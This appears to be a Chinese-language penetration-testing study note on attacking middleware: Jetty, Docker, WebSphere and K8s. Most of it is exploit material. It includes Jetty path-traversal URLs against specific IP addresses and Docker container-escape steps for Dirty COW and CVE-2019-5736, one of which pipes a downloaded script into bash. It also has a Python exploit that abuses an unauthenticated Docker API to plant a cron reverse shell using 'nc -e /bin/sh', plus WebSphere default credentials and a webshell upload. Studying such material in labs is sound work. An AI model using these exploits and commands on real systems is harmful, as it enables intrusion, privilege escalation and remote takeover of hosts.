总览

知识点:

中间件及框架列表:
IIS,Apache,Nginx,Tomcat,Docker,K8s,Weblogic,JBoos,WebSphere,Jenkins ,GlassFish,Jetty,Jira,Struts2,Laravel,Solr,Shiro,Thinkphp,Spring,Flask,jQuery等
0、中间件-K8s安全
1、中间件-Jetty安全
2、中间件-Docker安全
3、中间件-WebSphere安全

章节内容:

常见中间件的安全测试:
1、配置不当-解析&弱口令
2、安全机制-特定安全漏洞
3、安全机制-弱口令爆破攻击
4、安全应用-框架特定安全漏洞

前置知识:

中间件安全测试流程:
1、判断中间件信息-名称&版本&三方
2、判断中间件问题-配置不当&公开漏洞
3、判断中间件利用-弱口令&EXP&框架漏洞

应用服务安全测试流程:见图
1、判断服务开放情况-端口扫描&组合应用等
2、判断服务类型归属-数据库&文件传输&通讯等
3、判断服务利用方式-特定漏洞&未授权&弱口令等

实例

中间件-K8s-搜哈

kubernetes简称 k8s,是一个由google开源的,用于自动部署,扩展和管理容器化应用程序的开源系统。在B站内部,k8s在管理生产级容器和应用服务部署已经有较为广泛和成熟的应用。通过k8s,可跨多台主机进行容器编排、快速按需扩展容器化应用及其资源、对应用实施状况检查、服务发现和负载均衡等。
https://blog.csdn.net/w1590191166/article/details/122028001

中间件-Jetty-搜哈

Elipse Jetty是一个开源的servlet容器,它为基于Java的Web容器提供运行环境。

CVE-2021-28164
http://123.58.236.76:63126/%2e/WEB-INF/web.xml
CVE-2021-28169
http://123.58.236.76:63126/static?/WEB-INF/web.xml
CVE-2021-34429
http://123.58.236.76:63126/%u002e/WEB-INF/web.xml

中间件-Docker-搜哈

Docker容器是使用沙盒机制,是单独的系统,理论上是很安全的,通过利用某种手段,再结合执行POC或EXP,就可以返回一个宿主机的高权限Shell,并拿到宿主机的root权限,可以直接操作宿主机文件。 它从容器中逃了出来,因此我们形象的称为Docker逃逸漏洞。

端口:2375

1、容器判断:

  • 是否存在.dockerenv文件
ls -aln /.dockerenv
  • 查询系统进程的cgroup信息:
cat /proc/1/cgroup

2、容器逃逸漏洞:权限提升

  • 由内核漏洞引起 ——Dirty COW(CVE-2016-5195)
  • 由 Docker 软件设计引起——CVE-2019-5736、CVE-2019-14271,CVE-2020-15257
  • 由配置不当引起——开启privileged(特权模式)+宿主机目录挂载(文件挂载)、功能(capabilities)机制、sock通信方式
  • CVE-2016-5195
靶场:https://github.com/gebl/dirtycow-docker-vdso
在线:https://www.ichunqiu.com/experiment/catalog?id=100295
# 使用本地1234端口连接docker的1234端口运行dirtycow镜像,并将其临时命名为test
# 其中 test:为临时名称,可以自定义填写。 -p: 第一个端口为本机的端口,第二个端口为Docker的端口。 -itd:意思是在后台运行,交互式运行,并且输出当前的信息 /bin/bash:调用Shell
docker run --name=test -p 1234:1234 -itd dirtycow /bin/bash
# 进入镜像内部
docker exec -it test /bin/bash
# 编译并运行POC
cd /dirtycow-vdso/
make
./0xdeadbeef

- CVE-2019-5736
参考:https://blog.51cto.com/u_15060465/4336524
复现:curl https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw -o install.sh && bash install.sh
1、下载POC
git clone https://github.com/Frichetten/CVE-2019-5736-PoC
2、修改编译生成payload
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
3.将该payload拷贝到docker容器中(此时可以模拟攻击者获取了docker容器权限,在容器中上传payload进行docker逃逸) 并执行
docker cp main ecca872da49d:/home
docker exec -it ecca872da49d bash
cd /home/
chmod 777 main
./main


4、再次进入docker镜像后监听即可收到
docker exec -it 镜像ID bash
nc -lvvp

3、容器安全漏洞

docker未授权访问漏洞-vulhub-exp.py
实验了,无法反弹,情况不知

import docker
client = docker.DockerClient(base_url='http://目标IP:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc 反弹IP 端口 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})

中间件-WebSphere-搜哈

WebSphere® Application Server 加速交付新应用程序和服务,它可以通过快速交付创新的应用程序来帮助企业提供丰富的用户体验从基于开放标准的丰 富的编程模型中进行选择,以便更好地协调项目需求与编程模型功能和开发人员技能。
端口:9080—web(http)应用访问端口、9443—web(https)应用访问端口、9060—管理后台访问端口、9043—管理控制台安全端口、8880—SOAP连接器端口等等。
漏洞探测在8880端口,后台是9060端口,解析是9080端口

拉取镜像:docker pull iscrosales/websphere7
启动镜像:docker run -d -p 9060:9060 -p 9043:9043 -p 8880:8880 -p 9080:9080 iscrosales/websphere7
停止镜像:docker stop $(docker ps -aq)

1、CVE-2015-7450 反序列化

工具搜哈:http://47.94.236.117:8880/

2、弱口令 上传拿Shell

  • 在6.x至7.0版本,后台登陆只需要输入admin作为用户标识,无需密码,即可登陆后台。
  • websphere/ websphere
  • system/ manager

访问:http://47.94.236.117:9060/
登录:admin
上传:war马
启动:1_war
连接:http://47.94.236.117:9080/1/1.jsp

3、CVE-2020-4450:无利用POC/EXP